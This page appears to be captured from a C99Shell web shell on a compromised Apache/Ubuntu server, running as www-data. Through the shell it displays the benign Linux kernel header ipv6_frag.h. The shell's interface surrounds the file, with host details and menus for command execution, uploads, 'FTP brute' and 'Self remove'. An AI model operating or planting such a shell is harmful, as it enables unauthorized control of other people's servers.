!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/src/linux-headers-5.4.0-204/include/net/   drwxr-xr-x
Free 13.22 GB of 57.97 GB (22.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ipv6_frag.h (2.65 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* SPDX-License-Identifier: GPL-2.0 */
#ifndef _IPV6_FRAG_H
#define _IPV6_FRAG_H
#include <linux/kernel.h>
#include <net/addrconf.h>
#include <net/ipv6.h>
#include <net/inet_frag.h>

enum ip6_defrag_users {
    IP6_DEFRAG_LOCAL_DELIVER,
    IP6_DEFRAG_CONNTRACK_IN,
    __IP6_DEFRAG_CONNTRACK_IN    = IP6_DEFRAG_CONNTRACK_IN + USHRT_MAX,
    IP6_DEFRAG_CONNTRACK_OUT,
    __IP6_DEFRAG_CONNTRACK_OUT    = IP6_DEFRAG_CONNTRACK_OUT + USHRT_MAX,
    IP6_DEFRAG_CONNTRACK_BRIDGE_IN,
    __IP6_DEFRAG_CONNTRACK_BRIDGE_IN = IP6_DEFRAG_CONNTRACK_BRIDGE_IN + USHRT_MAX,
};

/*
 *    Equivalent of ipv4 struct ip
 */
struct frag_queue {
    struct inet_frag_queue    q;

    int            iif;
    __u16            nhoffset;
    u8            ecn;
};

#if IS_ENABLED(CONFIG_IPV6)
static inline void ip6frag_init(struct inet_frag_queue *q, const void *a)
{
    struct frag_queue *fq = container_of(q, struct frag_queue, q);
    const struct frag_v6_compare_key *key = a;

    q->key.v6 = *key;
    fq->ecn = 0;
}

static inline u32 ip6frag_key_hashfn(const void *data, u32 len, u32 seed)
{
    return jhash2(data,
              sizeof(struct frag_v6_compare_key) / sizeof(u32), seed);
}

static inline u32 ip6frag_obj_hashfn(const void *data, u32 len, u32 seed)
{
    const struct inet_frag_queue *fq = data;

    return jhash2((const u32 *)&fq->key.v6,
              sizeof(struct frag_v6_compare_key) / sizeof(u32), seed);
}

static inline int
ip6frag_obj_cmpfn(struct rhashtable_compare_arg *arg, const void *ptr)
{
    const struct frag_v6_compare_key *key = arg->key;
    const struct inet_frag_queue *fq = ptr;

    return !!memcmp(&fq->key, key, sizeof(*key));
}

static inline void
ip6frag_expire_frag_queue(struct net *net, struct frag_queue *fq)
{
    struct net_device *dev = NULL;
    struct sk_buff *head;

    rcu_read_lock();
    /* Paired with the WRITE_ONCE() in fqdir_pre_exit(). */
    if (READ_ONCE(fq->q.fqdir->dead))
        goto out_rcu_unlock;
    spin_lock(&fq->q.lock);

    if (fq->q.flags & INET_FRAG_COMPLETE)
        goto out;

    inet_frag_kill(&fq->q);

    dev = dev_get_by_index_rcu(net, fq->iif);
    if (!dev)
        goto out;

    __IP6_INC_STATS(net, __in6_dev_get(dev), IPSTATS_MIB_REASMFAILS);
    __IP6_INC_STATS(net, __in6_dev_get(dev), IPSTATS_MIB_REASMTIMEOUT);

    /* Don't send error if the first segment did not arrive. */
    if (!(fq->q.flags & INET_FRAG_FIRST_IN))
        goto out;

    /* sk_buff::dev and sk_buff::rbnode are unionized. So we
     * pull the head out of the tree in order to be able to
     * deal with head->dev.
     */
    head = inet_frag_pull_head(&fq->q);
    if (!head)
        goto out;

    head->dev = dev;
    spin_unlock(&fq->q.lock);

    icmpv6_send(head, ICMPV6_TIME_EXCEED, ICMPV6_EXC_FRAGTIME, 0);
    kfree_skb(head);
    goto out_rcu_unlock;

out:
    spin_unlock(&fq->q.lock);
out_rcu_unlock:
    rcu_read_unlock();
    inet_frag_put(&fq->q);
}
#endif
#endif

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0232 ]--